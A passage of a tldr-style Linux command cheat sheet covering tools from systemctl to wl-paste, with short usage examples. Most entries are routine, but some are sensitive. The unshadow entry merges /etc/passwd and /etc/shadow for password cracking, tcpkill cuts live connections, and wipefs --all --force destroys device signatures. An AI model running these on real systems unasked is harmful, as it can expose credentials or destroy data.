• Enable/Disable a unit to be started on bootup:

systemctl {{enable|disable}} {{unit}}

• Mask/Unmask a unit to prevent enablement and manual activation:

systemctl {{mask|unmask}} {{unit}}

• Reload systemd, scanning for new or changed units:

systemctl daemon-reload

• Check if a unit is enabled:

systemctl is-enabled {{unit}}


systemd-analyze
Analyze and debug system manager.

Show timing details about the boot process of units (services, mount points, devices,
sockets).

More information: https://manned.org/systemd-analyze.

• List time of each unit to start up:

systemd-analyze blame

• Print a tree of the time-critical chain of units:

systemd-analyze critical-chain

• Create an SVG file showing when each system service started, highlighting the
time that they spent on initialization:

systemd-analyze plot > {{path/to/file.svg}}

• Plot a dependency graph and convert it to an SVG file:

systemd-analyze dot | dot -T{{svg}} > {{path/to/file.svg}}

• Show security scores of running units:

systemd-analyze security
taskset
Get or set a process' CPU affinity or start a new process with a defined CPU affinity.

• Get a running process' CPU affinity by PID:

taskset --pid --cpu-list {{pid}}

• Set a running process' CPU affinity by PID:

taskset --pid --cpu-list {{cpu_id}} {{pid}}

• Start a new process with affinity for a single CPU:

taskset --cpu-list {{cpu_id}} {{command}}

• Start a new process with affinity for multiple non-sequential CPUs:

taskset --cpu-list {{cpu_id_1}},{{cpu_id_2}},{{cpu_id_3}}

• Start a new process with affinity for CPUs 1 through 4:

taskset --cpu-list {{cpu_id_1}}-{{cpu_id_4}}


tcpflow
Capture TCP traffic for debugging and analysis.

• Show all data on the given interface and port:

tcpflow -c -i {{eth0}} port {{80}}


tcpkill
Kills specified in-progress TCP connections.

• Kill in-progress connections at a specified interface, host and port:

tcpkill -i {{eth1}} host {{192.95.4.27}} and port {{2266}}


tcptraceroute
A traceroute implementation using TCP packets.

More information: https://github.com/mct/tcptraceroute.

• Trace the route to a host:

tcptraceroute {{host}}

• Specify the destination port and packet length in bytes:

tcptraceroute {{host}} {{destination_port}} {{packet_length}}

• Specify the local source port and source address:

tcptraceroute {{host}} -p {{source_port}} -s


{{source_address}}

• Set the first and maximum TTL:

tcptraceroute {{host}} -f {{first_ttl}} -m {{max_ttl}}

• Specify the wait time and number of queries per hop:

tcptraceroute {{host}} -w {{wait_time}} -q


{{number_of_queries}}

• Specify the interface:

tcptraceroute {{host}} -i {{interface}}


terminator
Arrange multiple GNOME terminals in one window.

More information: https://gnome-terminator.org/.

• Start terminator window:

terminator

• Start with a fullscreen window:

terminator -f

• Split terminals horizontally:

Ctrl + Shift + O

• Split terminals vertically:

Ctrl + Shift + E

• Open new tab:

Ctrl + Shift + T
thunar
Graphical file manager for XFCE desktop environments.

More information: https://docs.xfce.org/xfce/thunar/start.

• Open a new window showing the current directory:

thunar

• Open the bulk rename utility:

thunar --bulk-rename

• Close all open thunar windows:

thunar --quit
tic
Compile terminfo and install for ncurses.

More information: https://pubs.opengroup.org/onlinepubs/007908799/xcurses/


terminfo.html.

• Compile and install terminfo for a terminal:

tic -xe {{terminal}} {{path/to/terminal.info}}

• Check terminfo file for errors:

tic -c {{path/to/terminal.info}}

• Print database locations:

tic -D
timedatectl
Control the system time and date.

More information: https://manned.org/timedatectl.

• Check the current system clock time:

timedatectl

• Set the local time of the system clock directly:

timedatectl set-time "{{yyyy-MM-dd hh:mm:ss}}"

• List available timezones:

timedatectl list-timezones

• Set the system timezone:

timedatectl set-timezone {{timezone}}

• Enable Network Time Protocol (NTP) synchronization:

timedatectl set-ntp on
timeshift
System restore utility.

More information: https://github.com/teejee2008/timeshift.

• List snapshots:

sudo timeshift --list

• Create a new snapshot (if scheduled):

sudo timeshift --check

• Create a new snapshot (even if not scheduled):

sudo timeshift --create

• Restore a snapshot (selecting which snapshot to restore interactively):

sudo timeshift --restore

• Restore a specific snapshot:

sudo timeshift --restore --snapshot '{{snapshot}}'

• Delete a specific snapshot:

sudo timeshift --delete --snapshot '{{snapshot}}'


tlp-stat
A tool to generate TLP status reports.

See also tlp.

More information: https://linrunner.de/tlp/usage/tlp-stat.

• Generate status report with configuration and all active settings:

sudo tlp-stat

• Show battery information:

sudo tlp-stat -b

• Show configuration:

sudo tlp-stat -c
tlp
Advanced power management for Linux.

See also tlp-stat.

More information: https://linrunner.de/tlp/.

• Apply settings (according to the actual power source):

sudo tlp start

• Apply battery settings (ignoring the actual power source):

sudo tlp bat

• Apply AC settings (ignoring the actual power source):

sudo tlp ac
toilet
A tool to display ASCII-art fonts.

More information: http://caca.zoy.org/wiki/toilet.

• Generate ASCII art for a given text:

toilet {{input_text}}

• Generate ASCII art using a custom font file:

toilet {{input_text}} -f {{font_filename}}

• Generate ASCII art using a filter:

toilet {{input_text}} --filter {{filter_name}}

• Show available toilet filters:

toilet --filter list


tomb
Manage encrypted storage directories that can be safely transported and hidden in a
filesystem.

More information: https://www.dyne.org/software/tomb/.

• Create a new tomb with an initial size of 100 MB:

tomb dig -s {{100}} {{encrypted_directory.tomb}}

• Create a new key file that can be used to lock a tomb; user will be prompted for a
password for the key:

tomb forge {{encrypted_directory.tomb.key}}

• Forcefully create a new key, even if the tomb isn't allowing key forging (due to
swap):

tomb forge {{encrypted_directory.tomb.key}} -f

• Initialize and lock an empty tomb using a key made with forge:

tomb lock {{encrypted_directory.tomb}} -k


{{encrypted_directory.tomb.key}}

• Mount a tomb (by default in /media) using its key, making it usable as a regular
filesystem directory:

tomb open {{encrypted_directory.tomb}} -k


{{encrypted_directory.tomb.key}}

• Close a tomb (fails if the tomb is being used by a process):

tomb close {{encrypted_directory.tomb}}

• Forcefully close all open tombs, killing any applications using them:

tomb slam all

• List all open tombs:

tomb list
top
Display dynamic real-time information about running processes.

More information: https://manned.org/top.

• Start top:

top

• Do not show any idle or zombie processes:

top -i

• Show only processes owned by given user:

top -u {{username}}

• Sort processes by a field:

top -o {{field_name}}

• Show the individual threads of a given process:

top -Hp {{process_id}}

• Show only the processes with the given PID(s), passed as a comma-separated list.
(Normally you wouldn't know PIDs off hand. This example picks the PIDs from the
process name):

top -p $(pgrep -d ',' {{process_name}})

• Get help about interactive commands:

?
tracepath
Trace the path to a network host discovering MTU along this path.

More information: https://manned.org/tracepath.

• A preferred way to trace the path to a host:

tracepath -p {{33434}} {{host}}

• Specify the initial destination port, useful with non-standard firewall settings:

tracepath -p {{destination_port}} {{host}}

• Print both hostnames and numerical IP addresses:

tracepath -b {{host}}

• Specify a maximum TTL (number of hops):

tracepath -m {{max_hops}} {{host}}

• Specify the initial packet length (defaults to 65535 for IPv4 and 128000 for IPv6):

tracepath -l {{packet_length}} {{host}}

• Use only IPv6 addresses:

tracepath -6 {{host}}
trash
A CLI for managing the trashcan / recycling bin.

More information: https://github.com/andreafrancia/trash-cli.

• Delete a file and send it to the trash:

trash {{path/to/file}}

• List all files in the trash:

trash-list

• Interactively restore a file from the trash:

trash-restore

• Empty the trash:

trash-empty

• Permanentely delete all files in the trash which are older than 10 days:

trash-empty {{10}}

• Remove all files in the trash, which match a specific blob pattern:

trash-rm "{{*.o}}"

• Remove all files with a specific original location:

trash-rm {{/path/to/file_or_directory}}
trizen
Arch Linux utility for building packages from the Arch User Repository (AUR).

More information: https://github.com/trizen/trizen.

• Synchronize and update all AUR packages:

trizen -Syua

• Install a new package:

trizen -S {{package}}

• Remove a package and its dependencies:

trizen -Rs {{package}}

• Search the package database for a keyword:

trizen -Ss {{keyword}}

• Show information about a package:

trizen -Si {{package}}

• List installed packages and versions:

trizen -Qe
trust
Tool for operating on the trust policy store.

More information: https://manned.org/trust.

• List trust policy store items:

trust list

• List information about specific items in the trust policy store:

trust list --filter={{blocklist|ca-anchors|certificates|


trust-policy}}

• Store a specific trust anchor in the trust policy store:

trust anchor {{path/to/certificate.crt}}

• Remove a specific anchor from the trust policy store:

trust anchor --remove {{path/to/certificate.crt}}

• Extract trust policy from the shared trust policy store:

trust extract --format=x509-directory --filter=ca-anchors


{{path/to/directory}}

• Display help for a subcommand:

trust {{subcommand}} --help


tshark
Packet analysis tool, CLI version of Wireshark.

More information: https://tshark.dev/.

• Monitor everything on localhost:

tshark

• Only capture packets matching a specific capture filter:

tshark -f '{{udp port 53}}'

• Only show packets matching a specific output filter:

tshark -Y '{{http.request.method == "GET"}}'

• Decode a TCP port using a specific protocol (e.g. HTTP):

tshark -d tcp.port=={{8888}},{{http}}

• Specify the format of captured output:

tshark -T {{json|text|ps|…}}

• Select specific fields to output:

tshark -T {{fields|ek|json|pdml}} -e {{http.request.method}}


-e {{ip.src}}

• Write captured packet to a file:

tshark -w {{path/to/file}}

• Analyze packets from a file:

tshark -r {{filename}}.pcap
ttyplot
A realtime plotting utility for the command line with data input from stdin.

More information: https://github.com/tenox7/ttyplot.

• Plot the values 1, 2 and 3 (cat prevents ttyplot to exit):

{ echo {{1 2 3}}; cat } | ttyplot

• Set a specific title and unit:

{ echo {{1 2 3}}; cat } | ttyplot -t {{title}} -u {{unit}}

• Use a while loop to continuously plot random values:

{ while {{true}}; do echo {{$RANDOM}}; sleep {{1}}; done } |


ttyplot

• Parse the output from ping and visualize it:

ping {{8.8.8.8}} | sed -u '{{s/^.*time=//g; s/ ms//g}}' |


ttyplot -t "{{ping to 8.8.8.8}}" -u {{ms}}
tune2fs
Adjust parameters of an ext2, ext3 or ext4 filesystem.

May be used on mounted filesystems.

More information: https://manned.org/tune2fs.

• Set the max number of counts before a filesystem is checked to 2:

tune2fs -c {{2}} {{/dev/sdXN}}

• Set the filesystem label to MY_LABEL:

tune2fs -L {{'MY_LABEL'}} {{/dev/sdXN}}

• Enable discard and user-specified extended attributes for a filesystem:

tune2fs -o {{discard,user_xattr}} {{/dev/sdXN}}

• Enable journaling for a filesystem:

tune2fs -o^{{nobarrier}} {{/dev/sdXN}}


tuxi
A CLI tool that scrapes Google search results and SERPs that provides instant and
concise answers.

More information: https://github.com/Bugswriter/tuxi.

• Make a search using Google:

tuxi {{search_terms}}

• Display the search results in [r]aw format (no pretty output, no colors):

tuxi -r {{search_terms}}

• Display only search results (silences "Did you mean?", greetings and usage):

tuxi -q {{search_terms}}

• Display help:

tuxi -h
ubuntu-bug
This command is an alias of apport-bug.

• View documentation for the original command:

tldr apport-bug
udevadm
Linux udev management tool.

More information: https://www.freedesktop.org/software/systemd/man/udevadm.

• Monitor all device events:

sudo udevadm monitor

• Print uevents sent out by the kernel:

sudo udevadm monitor --kernel

• Print device events after being processed by udev:

sudo udevadm monitor --udev

• List attributes of a device:

sudo udevadm info --attribute-walk --path {{/dev/sda1}}

• Reload all udev rules:

sudo udevadm control --reload-rules

• Trigger all udev rules to run:

sudo udevadm trigger


udisksctl
A command-line program used to interact with the udisksd daemon process.

More information: http://storaged.org/doc/udisks2-api/latest/udisksctl.1.html.

• Show high-level information about disk drives and block devices:

udisksctl status

• Show detailed information about a device:

udisksctl info --block-device {{/dev/sdX}}

• Show detailed information about a device partition:

udisksctl info --block-device {{/dev/sdXN}}

• Mount a device partition and prints the mount point:

udisksctl mount --block-device {{/dev/sdXN}}

• Unmount a device partition:

udisksctl unmount --block-device {{/dev/sdXN}}

• Monitor the daemon for events:

udisksctl monitor
ufw
Uncomplicated Firewall.

Frontend for iptables aiming to make configuration of a firewall easier.

More information: https://wiki.ubuntu.com/UncomplicatedFirewall.

• Enable ufw:

ufw enable

• Disable ufw:

ufw disable

• Show ufw rules, along with their numbers:

ufw status numbered

• Allow incoming traffic on port 5432 on this host with a comment identifying the
service:

ufw allow {{5432}} comment "{{Service}}"

• Allow only TCP traffic from 192.168.0.4 to any address on this host, on port 22:

ufw allow proto {{tcp}} from {{192.168.0.4}} to {{any}} port


{{22}}

• Deny traffic on port 80 on this host:

ufw deny {{80}}

• Deny all UDP traffic to port 22:

ufw deny proto {{udp}} from {{any}} to {{any}} port {{22}}

• Delete a particular rule. The rule number can be retrieved from the ufw status
numbered command:

ufw delete {{rule_number}}


ul
Performs the underlining of a text.

Each character in a given string must be underlined separately.

More information: https://manned.org/ul.

• Display the contents of the file with underlines where applicable:

ul {{file.txt}}

• Display the contents of the file with underlines made of dashes -:

ul -i {{file.txt}}
unix2dos
Change Unix-style line endings to DOS-style.

Replaces CR with CRLF.

More information: https://waterlan.home.xs4all.nl/dos2unix.html.

• Change the line endings of a file:

unix2dos {{filename}}

• Create a copy with DOS-style line endings:

unix2dos -n {{filename}} {{new_filename}}


unix2mac
Change Unix-style line endings to macOS-style.

Replaces CR with LF.

More information: https://waterlan.home.xs4all.nl/dos2unix.html.

• Change the line endings of a file:

unix2mac {{filename}}

• Create a copy with macOS-style line endings:

unix2mac -n {{filename}} {{new_filename}}


unset
Remove shell variables or functions.

More information: https://manned.org/unset.

• Remove the variable foo, or if the variable doesn't exist, remove the function foo:

unset {{foo}}

• Remove the variables foo and bar:

unset -v {{foo}} {{bar}}

• Remove the function my_func:

unset -f {{my_func}}
unshadow
Utility provided by the John the Ripper project to obtain the traditional Unix password
file if the system uses shadow passwords.

More information: https://www.openwall.com/john/.

• Combine the /etc/shadow and /etc/passwd of the current system:

sudo unshadow /etc/passwd /etc/shadow

• Combine two arbitrary shadow and password files:

sudo unshadow {{path/to/passwd}} {{path/to/shadow}}


update-alternatives
A convenient tool for maintaining symbolic links to determine default commands.

More information: https://manned.org/update-alternatives.

• Add a symbolic link:

sudo update-alternatives --install {{path/to/symlink}}


{{command_name}} {{path/to/command_binary}} {{priority}}

• Configure a symbolic link for java:

sudo update-alternatives --config {{java}}

• Remove a symbolic link:

sudo update-alternatives --remove {{java}} {{/opt/java/


jdk1.8.0_102/bin/java}}

• Display information about a specified command:

update-alternatives --display {{java}}

• Display all commands and their current selection:

update-alternatives --get-selections
update-rc.d
Install and remove services which are System-V style init script links.

Init scripts are in the /etc/init.d/.

More information: https://manned.org/update-rc.d.

• Install a service:

update-rc.d {{mysql}} defaults

• Enable a service:

update-rc.d {{mysql}} enable

• Disable a service:

update-rc.d {{mysql}} disable

• Forcibly remove a service:

update-rc.d -f {{mysql}} remove


updatedb
Create or update the database used by locate.

It is usually run daily by cron.

More information: https://manned.org/updatedb.

• Refresh database content:

sudo updatedb

• Display file names as soon as they are found:

sudo updatedb --verbose


updpkgsums
Update the checksums of the sources in a PKGBUILD.

Unless a preexisting hashing algorithm is used, SHA256 will be used.

More information: https://manned.org/updpkgsums.

• Update the checksums in a PKGBUILD:

updpkgsums

• Display Version:

updpkgsums -v

• Display help:

updpkgsums -h
upower
System utility to provide power and battery information and statistics.

More information: https://upower.freedesktop.org/docs/upower.1.html.

• Display power and battery information:

upower --dump

• List all power devices:

upower --enumerate

• Watch for and print power status changes:

upower --monitor

• Watch for and print detailed power status changes:

upower --monitor-detail

• Display version:

upower --version
uprecords
Displays a summary of historical uptime records.

• Display a summary of the top 10 historical uptime records:

uprecords

• Display the top 25 records:

uprecords -m {{25}}

• Display the downtime between reboots instead of the kernel version:

uprecords -d

• Show the most recent reboots:

uprecords -B

• Don't truncate information:

uprecords -w
urxvt
Rxvt-unicode.

A customizable terminal emulator.

More information: https://manned.org/urxvt.

• Open a new urxvt window:

urxvt

• Run in a specific directory:

urxvt -cd {{path/to/directory}}

• Run a command in a new urxvt window:

urxvt -e {{command}}

• Run a command and keep the window open:

urxvt --hold -e {{command}}

• Run a command within the sh shell:

urxvt -e {{sh}} -c {{command}}


useradd
Create a new user.

More information: https://manned.org/useradd.

• Create new user:

useradd {{name}}

• Create new user with a default home directory:

useradd --create-home {{name}}

• Create new user with specified shell:

useradd --shell {{path/to/shell}} {{name}}

• Create new user belonging to additional groups (mind the lack of whitespace):

useradd --groups {{group1,group2}} {{name}}

• Create new system user without a home directory:

useradd --no-create-home --system {{name}}


userdel
Remove a user account or remove a user from a group.

Note: all commands must be executed as root.

More information: https://manned.org/userdel.

• Remove a user:

userdel {{name}}

• Remove a user along with their home directory and mail spool:

userdel --remove {{name}}

• Remove a user from a group:

userdel {{name}} {{group}}

• Remove a user in other root directory:

userdel --root {{path/to/other/root}} {{name}}


usermod
Modifies a user account.

More information: https://manned.org/usermod.

• Change a user's name:

usermod -l {{newname}} {{user}}

• Add user to supplementary groups (mind the whitespace):

usermod -a -G {{group1,group2}} {{user}}

• Create a new home directory for a user and move their files to it:

usermod -m -d {{path/to/home}} {{user}}


utmpdump
Dump and load btmp, utmp and wtmp accounting files.

• Dump the /var/log/wtmp file to the standard output as plain text:

utmpdump {{/var/log/wtmp}}

• Load a previously dumped file into /var/log/wtmp:

utmpdump -r {{dumpfile}} > {{/var/log/wtmp}}


uuid
Generate and decode Universally Unique Identifiers (UUID).

See also uuidgen.

More information: https://manned.org/uuid.

• Generate a UUIDv1 (based on time and system's hardware address, if present):

uuid

• Generate a UUIDv4 (based on random data):

uuid -v {{4}}

• Generate multiple UUIDv4 identifiers at once:

uuid -v {{4}} -n {{number_of_uuids}}

• Generate a UUIDv4 and specify the output format:

uuid -v {{4}} -F {{BIN|STR|SIV}}

• Generate a UUIDv4 and write the output to a file:

uuid -v {{4}} -o {{path/to/file}}

• Generate a UUIDv5 (based on the supplied object name) with a specified


namespace prefix:

uuid -v {{5}} ns:{{DNS|URL|OID|X500}} {{object_name}}

• Decode a given UUID:

uuid -d {{uuid}}
uuidd
Daemon for generating UUIDs.

More information: https://manned.org/uuidd.

• Generate a random UUID:

uuidd --random

• Generate a bulk number of random UUIDs:

uuidd --random --uuids {{number_of_uuids}}

• Generate a time-based UUID, based on the current time and MAC address of the
system:

uuidd --time
uuidgen
Generate unique identifiers (UUIDs).

See also uuid.

More information: https://manned.org/uuidgen.

• Create a random UUIDv4:

uuidgen --random

• Create a UUIDv1 based on the current time:

uuidgen --time

• Create a UUIDv5 of the name with a specified namespace prefix:

uuidgen --sha1 --namespace {{@dns|@url|@oid|@x500}} --name


{{object_name}}
uvcdynctrl
A libwebcam command-line tool to manage dynamic controls in uvcvideo.

• List all available cameras:

uvcdynctrl -l

• Specify the device to use (defaults to video0):

uvcdynctrl -d {{device_name}}

• List available controls:

uvcdynctrl -c

• Set a new control value (for negative values, add -- before {{-value}}):

uvcdynctrl -s {{control_name}} {{value}}

• Get the current control value:

uvcdynctrl -g {{control_name}}

• Save the state of the current controls to a file:

uvcdynctrl -W {{filename}}

• Load the state of the controls from a file:

uvcdynctrl -L {{filename}}
v4l2-ctl
Control video devices.

More information: https://manned.org/v4l2-ctl.

• List all video devices:

v4l2-ctl --list-devices

• List supported video formats and resolutions of default video device /dev/
video0:

v4l2-ctl --list-formats-ext

• List supported video formats and resolutions of a specific video device:

v4l2-ctl --list-formats-ext --device {{path/to/video_device}}

• Get all details of a video device:

v4l2-ctl --all --device {{path/to/video_device}}

• Capture a JPEG photo with a specfic resolution from video device:

v4l2-ctl --device {{path/to/video_device}} --set-fmt-


video=width={{width}},height={{height}},pixelformat=MJPG --
stream-mmap --stream-to={{path/to/output.jpg}} --stream-
count=1

• Capture a raw video stream from video device:

v4l2-ctl --device {{path/to/video_device}} --set-fmt-


video=width={{width}},height={{height}},pixelformat={{format}}
--stream-mmap --stream-to={{path/to/output}} --stream-
count={{number_of_frames_to_capture}}

• List all video device's controls and their values:

v4l2-ctl --list-ctrls --device {{/path/to/video_device}}


vcgencmd
Print system information for a Raspberry Pi.

More information: https://www.raspberrypi.org/documentation/raspbian/applications/


vcgencmd.md.

• List all available commands:

vcgencmd commands

• Print the current CPU temperature:

vcgencmd measure_temp

• Print the current voltage:

vcgencmd measure_volts

• Print the throttled state of the system as a bit pattern:

vcgencmd get_throttled

• Print the bootloader config (only available on Raspberry Pi 4 models):

vcgencmd bootloader_config

• Display Help:

vcgencmd --help
veracrypt
Free and open source disk encryption software.

More information: https://www.veracrypt.fr/code/VeraCrypt/plain/doc/html/


Documentation.html.

• Create a new volume through a text user interface and use /dev/urandom as a
source of random data:

veracrypt --text --create --random-source={{/dev/urandom}}

• Decrypt a volume interactively through a text user interface and mount it to a


directory:

veracrypt --text {{path/to/volume}} {{path/to/mount_point}}

• Decrypt a partition using a keyfile and mount it to a directory:

veracrypt --keyfiles={{path/to/keyfile}} {{/dev/sdXN}}


{{path/to/mount_point}}

• Dismount a volume on the directory it is mounted to:

veracrypt --dismount {{path/to/mounted_point}}


vgchange
Change the attributes of a Logical Volume Manager (LVM) volume group.

See also: lvm.

More information: https://manned.org/vgchange.

• Change the activation status of logical volumes in all volume groups:

sudo vgchange --activate {{y|n}}

• Change the activation status of logical volumes in the specified volume group
(determine with vgscan):

sudo vgchange --activate {{y|n}} {{volume_group}}}


vgcreate
Create volume groups combining multiple mass-storage devices.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/vgcreate.8.html.

• Create a new volume group called vg1 using the /dev/sda1 device:

vgcreate {{vg1}} {{/dev/sda1}}

• Create a new volume group called vg1 using multiple devices:

vgcreate {{vg1}} {{/dev/sda1}} {{/dev/sdb1}} {{/dev/sdc1}}


vgdisplay
Display information about Logical Volume Manager (LVM) volume groups.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/vgdisplay.8.html.

• Display information about all volume groups:

sudo vgdisplay

• Display information about volume group vg1:

sudo vgdisplay {{vg1}}


vgs
Display information about volume groups.

See also: lvm.

More information: https://man7.org/linux/man-pages/man8/vgs.8.html.

• Display information about volume groups:

vgs

• Display all volume groups:

vgs -a

• Change default display to show more details:

vgs -v

• Display only specific fields:

vgs -o {{field_name_1}},{{field_name_2}}

• Append field to default display:

vgs -o +{{field_name}}

• Suppress heading line:

vgs --noheadings

• Use separator to separate fields:

vgs --separator =
vgscan
Scan for volume groups on all supported Logical Volume Manager (LVM) block devices.

See also lvm, vgchange.

More information: https://manned.org/vgscan.

• Scan for volume groups and print information about each group found:

sudo vgscan

• Scan for volume groups and add the special files in /dev, if they don't already
exist, needed to access the logical volumes in the found groups :

sudo vgscan --mknodes


viewnior
Simple and elegant image viewer.

• View an image:

viewnior {{path/to/image.ext}}

• View in fullscreen mode:

viewnior --fullscreen {{path/to/image.ext}}

• View fullscreen in slideshow mode:

viewnior --slideshow {{path/to/image.ext}}


vipw
Edit the password file.

More information: https://manned.org/vipw.

• Edit the password file:

vipw

• Display the current version of vipw:

vipw --version
virt-manager
CLI launcher for virt-manager, a desktop user interface for managing KVM and Xen
virtual machines and LXC containers.

More information: https://manpages.ubuntu.com/manpages/man1/virt-manager.


1.html.

• Launch virt-manager:

virt-manager

• Connect to a hypervisor:

virt-manager --connect {{hypervisor_uri}}

• Don't fork virt-manager process into background on startup:

virt-manager --no-fork

• Print debug output:

virt-manager --debug

• Open the "New VM" wizard:

virt-manager --show-domain-creator

• Show domain details window:

virt-manager --show-domain-editor {{name|id|uuid}}

• Show domain performance window:

virt-manager --show-domain-performance {{name|id|uuid}}

• Show connection details window:

virt-manager --show-host-summary
vmstat
Report information about processes, memory, paging, block IO, traps, disks and CPU
activity.

More information: https://manned.org/vmstat.

• Display virtual memory statistics:

vmstat

• Display reports every 2 seconds for 5 times:

vmstat {{2}} {{5}}


vmware-checkvm
Checks to see if the current host is a VMware VM or not.

• Return the current VMware software version (exit status determines whether the
system is a VM or not):

vmware-checkvm

• Return the VMware hardware version:

vmware-checkvm -h
vncserver
Launches a VNC (Virtual Network Computing) desktop.

• Launch a VNC Server on next available display:

vncserver

• Launch a VNC Server with specific screen geometry:

vncserver --geometry {{width}}x{{height}}

• Kill an instance of VNC Server running on a specific display:

vncserver --kill :{{display_number}}


vncviewer
Launches a VNC (Virtual Network Computing) client.

• Launch a VNC client which connects to a host on a given display:

vncviewer {{host}}:{{display_number}}

• Launch in full-screen mode:

vncviewer -FullScreen {{host}}:{{display_number}}

• Launch a VNC client with a specific screen geometry:

vncviewer --geometry {{width}}x{{height}} {{host}}:


{{display_number}}

• Launch a VNC client which connects to a host on a given port:

vncviewer {{host}}::{{port}}
vnstat
A console-based network traffic monitor.

• Display traffic summary for all interfaces:

vnstat

• Display traffic summary for a specific network interface:

vnstat -i {{eth0}}

• Display live stats for a specific network interface:

vnstat -l -i {{eth0}}

• Show traffic statistics on an hourly basis for the last 24 hours using a bar graph:

vnstat -hg

• Measure and show average traffic for 30 seconds:

vnstat -tr {{30}}


vnstati
PNG image output support for vnStat.

More information: https://manned.org/vnstati.

• Output a summary of the last 2: months, days, and all-time:

vnstati --summary --iface {{network_interface}} --output


{{path/to/output.png}}

• Output the 10 most traffic-intensive days of all time:

vnstati --top10 --iface {{network_interface}} --output


{{path/to/output.png}}

• Output monthly traffic statistics from the last 12 months:

vnstati --months --iface {{network_interface}} --output


{{path/to/output.png}}

• Output hourly traffic statistics from the last 24 hours:

vnstati --hours --iface {{network_interface}} --output


{{path/to/output.png}}
vpnc
A VPN client for the Cisco 3000 VPN Concentrator.

• Connect with a defined configuration file:

sudo vpnc {{config_file}}

• Terminate the previously created connection:

sudo vpnc-disconnect
vrms
Report non-free packages installed on Debian-based OSes.

More information: https://debian.pages.debian.net/vrms/.

• List non-free and contrib packages (and their description):

vrms

• Only output the package names:

vrms --sparse
w
Display who is logged in and their processes.

More information: https://www.geeksforgeeks.org/w-command-in-linux-with-


examples/.

• Display information about all users who are currently logged in:

• Display information about a specific user:

w {{user}}

• Display information without including the header:

w --no-header

• Display information without including the login, JCPU and PCPU columns:

w --short
wajig
Simplified all-in-one-place system support tool for Debian-based systems.

More information: https://wajig.togaware.com.

• Update the list of available packages and versions:

wajig update

• Install a package, or update it to the latest available version:

wajig install {{package}}

• Remove a package and its configuration files:

wajig purge {{package}}

• Perform an update and then a dist-upgrade:

wajig daily-upgrade

• Display the sizes of installed packages:

wajig sizes

• List the version and distribution for all installed packages:

wajig versions

• List versions of upgradable packages:

wajig toupgrade

• Display packages which have some form of dependency on the given package:

wajig dependents {{package}}


wall
Write a message on the terminals of users currently logged in.

More information: https://manned.org/wall.

• Send a message:

echo "{{message}}" | wall

• Send a message from a file:

wall {{file}}

• Send a message with timeout (default 300):

wall -t {{seconds}} {{file}}


watch
Execute a command repeatedly, and monitor the output in full-screen mode.

More information: https://manned.org/watch.

• Monitor files in the current directory:

watch {{ls}}

• Monitor disk space and highlight the changes:

watch -d {{df}}

• Monitor "node" processes, refreshing every 3 seconds:

watch -n {{3}} "{{ps aux | grep node}}"


wdctl
Show the hardware watchdog status.

More information: https://manned.org/wdctl.

• Display the watchdog status:

wdctl

• Display the watchdog status in a single line in key-value pairs:

wdctl --oneline

• Display only specific watchdog flags (list is driver specific):

wdctl --flags {{flag_list}}


wg-quick
Quickly set up WireGuard tunnels based on config files.

More information: https://www.wireguard.com/quickstart/.

• Set up a VPN tunnel:

wg-quick up {{interface_name}}

• Delete a VPN tunnel:

wg-quick down {{interface_name}}


wg
Manage the configuration of WireGuard interfaces.

More information: https://www.wireguard.com/quickstart/.

• Check status of currently active interfaces:

wg

• Generate a new private key:

wg genkey

• Generate a public key from a private key:

wg pubkey < {{path/to/private_key}} > {{path/to/public_key}}

• Generate a public and private key:

wg genkey | tee {{path/to/private_key}} | wg pubkey > {{path/


to/public_key}}

• Show the current configuration of a wireguard interface:

wg showconf {{wg0}}
whatis
Display one-line descriptions from manual pages.

• Display a description from a man page:

whatis {{command}}

• Don't cut the description off at the end of the line:

whatis --long {{command}}

• Display descriptions for all commands matching a glob:

whatis --wildcard {{net*}}

• Search man page descriptions with a regular expression:

whatis --regex '{{wish[0-9]\.[0-9]}}'


whiptail
Display text-based dialog boxes from shell scripts.

More information: https://manned.org/whiptail.

• Display a simple message:

whiptail --title "{{title}}" --msgbox "{{message}}"


{{height_in_chars}} {{width_in_chars}}

• Display a boolean choice, returning the result through the exit code:

whiptail --title "{{title}}" --yesno "{{message}}"


{{height_in_chars}} {{width_in_chars}}

• Customise the text on the yes / no buttons:

whiptail --title "{{title}}" --yes-button "{{text}}" --no-


button "{{text}}" --yesno "{{message}}" {{height_in_chars}}
{{width_in_chars}}

• Display a text input box:

{{result_variable_name}}="$(whiptail --title "{{title}}" --


inputbox "{{message}}" {{height_in_chars}} {{width_in_chars}}
{{default_text}} 3>&1 1>&2 2>&3)"

• Display a password input box:

{{result_variable_name}}="$(whiptail --title "{{title}}" --


passwordbox "{{message}}" {{height_in_chars}}
{{width_in_chars}} 3>&1 1>&2 2>&3)"

• Display a multiple-choice menu:

{{result_variable_name}}=$(whiptail --title "{{title}}" --


menu "{{message}}" {{height_in_chars}} {{width_in_chars}}
{{menu_display_height}} "{{value_1}}" "{{display_text_1}}"
"{{value_n}}" "{{display_text_n}}" ..... 3>&1 1>&2 2>&3)
wifi-menu
Interactively connect to a wireless network.

More information: https://manned.org/wifi-menu.

• Set up a wireless connection interactively:

wifi-menu

• Interactively set up a connection to a network and obscure the password:

wifi-menu --obscure

• Display help:

wifi-menu --help
wine
Run Windows programs on Unix.

More information: https://wiki.winehq.org/.

• Run ipconfig.exe program:

wine {{ipconfig}} {{/all}}

• Run cmd.exe in background:

wine start {{cmd}}

• Run Windows-like Package Manager:

wine uninstaller

• Install MSI packages:

wine msiexec /i {{package}}


winetricks
Manage Wine virtual Windows environments.

More information: https://wiki.winehq.org/Winetricks.

• Start a graphical setup at the default Wine location:

winetricks

• Specify a custom Wine directory to run Winetricks in:

WINEPREFIX={{path/to/wine_directory}} winetricks

• Install a Windows DLL or component to the default Wine directory:

winetricks {{package}}
wipefs
Wipe filesystem, raid, or partition-table signatures from a device.

More information: https://manned.org/wipefs.

• Display signatures for specified device:

sudo wipefs {{/dev/sdX}}

• Wipe all available signatures for specified device:

sudo wipefs --all {{/dev/sdX}}

• Perform dry run:

sudo wipefs --all --no-act {{/dev/sdX}}

• Force wipe, even if the filesystem is mounted:

sudo wipefs --all --force {{/dev/sdX}}


wl-copy
Wayland clipboard manipulation tool.

See also: wl-paste.

More information: https://github.com/bugaevc/wl-clipboard.

• Copy text to the clipboard:

wl-copy {{text}}

• Copy the output of a command to the clipboard:

{{command}} | wl-copy

• Clear the clipboard:

wl-copy --clear
wl-paste
Tool to access data stored in the clipboard for Wayland.

See also: wl-copy.

More information: https://github.com/bugaevc/wl-clipboard.

